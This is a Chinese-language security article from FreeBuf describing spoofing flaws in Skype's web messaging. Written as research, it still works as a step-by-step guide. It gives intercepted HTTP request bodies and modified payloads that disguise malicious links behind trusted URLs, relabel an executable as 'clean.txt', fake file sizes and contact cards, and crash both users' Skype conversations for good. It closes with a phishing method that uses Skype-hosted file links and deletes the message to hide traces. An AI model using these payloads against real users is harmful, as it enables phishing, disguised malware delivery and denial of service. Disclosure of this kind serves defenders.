freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

针对Skype的欺骗&攻击研究
2021-02-03 13:21:41

众所周知,Skype中存储在这大量的欺骗攻击漏洞,但微软却不认为这些漏洞需要“立即提供安全修复服务”。

漏洞介绍

在我们的一次漏洞挖掘过程中,我们对web.skype.com域名进行了测试。在进行了完整的测试之后,我们发现其信息功能中并没有任何防止信息篡改的安全保护机制,因此这里可能会存在欺骗攻击的风险。在本文发稿时,所有提到的漏洞仍然存在。不过,微软并不认为这些漏洞严重到需要立即进行修复,不过可能会在将来的版本中进行修复。

链接欺骗

如果你想要让某人访问一个链接,其实是非常简单且有效的。我们一起来看一看该怎么做!

第一步,以下列形式发送你想要伪装的链接:

第二步,拦截请求,当你查看到下列请求内容的时候再进行转发:

POST /v1/users/ME/conversations/19%REDACTED%40thread.skype/messages?x-ecs-etag= HTTP/1.1

Host: azwus1-client-s.gateway.messenger.live.com

...

 

{

"clientmessageid":"123456789",

"composetime":"2021-02-01T23:05:32.546Z",

"content":"<a href=\"https://google.com\">https://google.com</a>",

"messagetype":"RichText",

"contenttype":"text",

"imdisplayname":"mr d0x\"'><h1>hi</h1>",

"properties":{

    "urlpreviews":"[{\"key\":\"https://google.com\",\"value\":{\"url\":\"https://google.com\",\"size\":\"49128\",\"status_code\":\"200\",\"content_type\":\"text/html\",\"site\":\"www.google.com\",\"category\":\"generic\",\"title\":\"Google\",\"description\":\"Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for.\",\"favicon\":\"https://nus1-urlp-static.secure.skypeassets.com/static/google-32x32.ico\",\"favicon_meta\":{\"width\":32,\"height\":32},\"thumbnail\":\"https://nus1-urlp-static.secure.skypeassets.com/static/google-90x90.png\",\"thumbnail_meta\":{\"width\":90,\"height\":90},\"user_pic\":\"\"}}]"

    }

 

}

第三步,在请求的“href”属性以及“urlpreviews”键的“key”属性中插入你想要的链接:

...

"content":"<a href=\"https://evil.com\">https://google.com</a>",

...

"urlpreviews":"[{\"key\":\"https://evil.com\",...

伪造的URL将显示在信息的底部位置。为了克服这个问题,只需创建一个真实的子域。比如说:google.image.view.evil.com

文件名欺骗

在该漏洞的帮助下,我们将能够使用伪造的文件名称以及后缀来给任意用户发送文件。我们发现了多种实现方法,但我们只演示其中一种。

第一步,与任意用户开启聊天,然后点击“Add files”添加文件:

第二步,选择你的恶意文件:

第三步,发送消息,使用Burp拦截消息,当查看到如下所示的请求内容后转发消息:

POST /v1/users/ME/conversations/19%REDACTED%40thread.skype/messages?x-ecs-etag= HTTP/1.1

Host: azwus1-client-s.gateway.messenger.live.com

...

 

{

"clientmessageid": "6937674706420748491",

"composetime": "2021-01-31T20:13:38.249Z",

"content": "<URIObject uri=\"https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED\" url_thumbnail=\"https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED/views/original\" type=\"File.1\" doc_id=\"0-cus-d17-REDACTED\">To view this file, go to: <a href=\"https://login.skype.com/login/sso?go=webclient.xmm&docid=0-cus-d17-REDACTED\">https://login.skype.com/login/sso?go=webclient.xmm&docid=0-cus-d17-REDACTED</a><OriginalName v=\"plink.exe\"></OriginalName><FileSize v=\"311296\"></FileSize></URIObject>",

"messagetype": "RichText/Media_GenericFile",

"contenttype": "text",

"imdisplayname": "mr d0x",

"amsreferences": [

    "0-cus-d17-REDACTED"

    ]

}

第四步,修改“OriginalName”值,包括后缀名:

<OriginalName v=\"clean.txt\"></OriginalName>

完成!现在目标用户将看到如下图所示的界面:

点击“Download”下载文件之后,原始文件名将会显示出来:

文件大小欺骗

在这一步,我们需要重复上述的操作,不过第四步需要进行一些修改。我们需要修改的是“FileSize”值:

<FileSize v=\"11000000000000\"></FileSize>

我们的文件现在就变成了11TB:

共享名片欺骗

在与他人分享联系人名片时,我们可以拦截请求并修改名片显示的名称和用户名,并将修改后的内容呈现给目标用户:

POST /v1/users/ME/conversations/19%REDACTED%40thread.skype/messages?x-ecs-etag= HTTP/1.1

Host: azwus1-client-s.gateway.messenger.live.com

...

 

{

"clientmessageid":"31905252195064291",

"composetime":"2021-01-31T20:02:39.230Z",

"content":"<contacts><c t=\"s\" s=\"evil.account\" f=\"It's Bob!\"></c></contacts>",

"messagetype":"RichText/Contacts",

"contenttype":"text",

"imdisplayname":"mr d0x",

"properties":{

    "forwardMetadata":"{\"isForwarded\":false}"

    }

}

让任意用户的Skype崩溃

在修改请求主体中“content”值时,我不小心放置了太多的标签,结果导致了对话两端(攻击者和目标用户)的Skype发生了崩溃,并导致聊天内容永久性的无法访问。而且,每当双方试图打开这个对话框时,双方的Skype都会崩溃。

我所使用的Payload如下:

"content":"<contacts><URIObject><h1><a href=\"https://google.com \" t=\"s\" s=\" ><contacts><c t=\"s\" s=\"evil.account\" f=\"Mr.d0x\"></c></contacts> </a></h1></URIObject></contacts>"

结果如下:

这将导致Web端和桌面客户端的Skype都发生崩溃。不过,手机端的Skpye应用程序不会崩溃。

使用Skype的域名进行网络钓鱼攻击

当你在聊天框发送一个文件时,它首先被上传到Skype的服务器上,然后聊天中的每个用户都可以访问该文件。无论正在聊天的是否是好友,就算你删除了这个文件,其他用户仍然可以正常访问。

该文件的链接现在可以通过电子邮件发送到目标,如果他们的Outlook/O365帐户上有活动会话,则该链接允许他们直接下载该文件。

第一步,向目标用户发送或转发文件,忽略错误通知:

第二步,拦截请求,当你看到下列请求内容时转发请求:

POST /v1/users/ME/conversations/19%REDACTED%40thread.skype/messages?x-ecs-etag= HTTP/1.1

Host: azwus1-client-s.gateway.messenger.live.com

...

 

{

"clientmessageid": "6937674706420748491",

"composetime": "2021-01-31T20:13:38.249Z",

"content": "<URIObject uri=\"https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED\" url_thumbnail=\"https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED/views/original\" type=\"File.1\" doc_id=\"0-cus-d17-REDACTED\">To view this file, go to: <a href=\"https://login.skype.com/login/sso?go=webclient.xmm&docid=0-cus-d17-REDACTED\">https://login.skype.com/login/sso?go=webclient.xmm&docid=0-cus-d17-REDACTED</a><OriginalName v=\"plink.exe\"></OriginalName><FileSize v=\"311296\"></FileSize></URIObject>",

"messagetype": "RichText/Media_GenericFile",

"contenttype": "text",

"imdisplayname": "mr d0x",

"amsreferences": [

    "0-cus-d17-REDACTED"

    ]

}

下载链接位于url_thumbnail中:

https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED/views/original

第三步,删除消息以隐藏痕迹。

现在我们就可以使用该链接对目标进行网络钓鱼攻击了,由于Skype的域名是一个受信任的域名,因此我们不需要担心钓鱼邮件被安全产品标记或检测到。

总结

Skype不会对其消息传递组件进行任何类型的篡改验证,因此任何内容都可能被欺骗。

# skype # 漏洞分析 # 漏洞利用
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录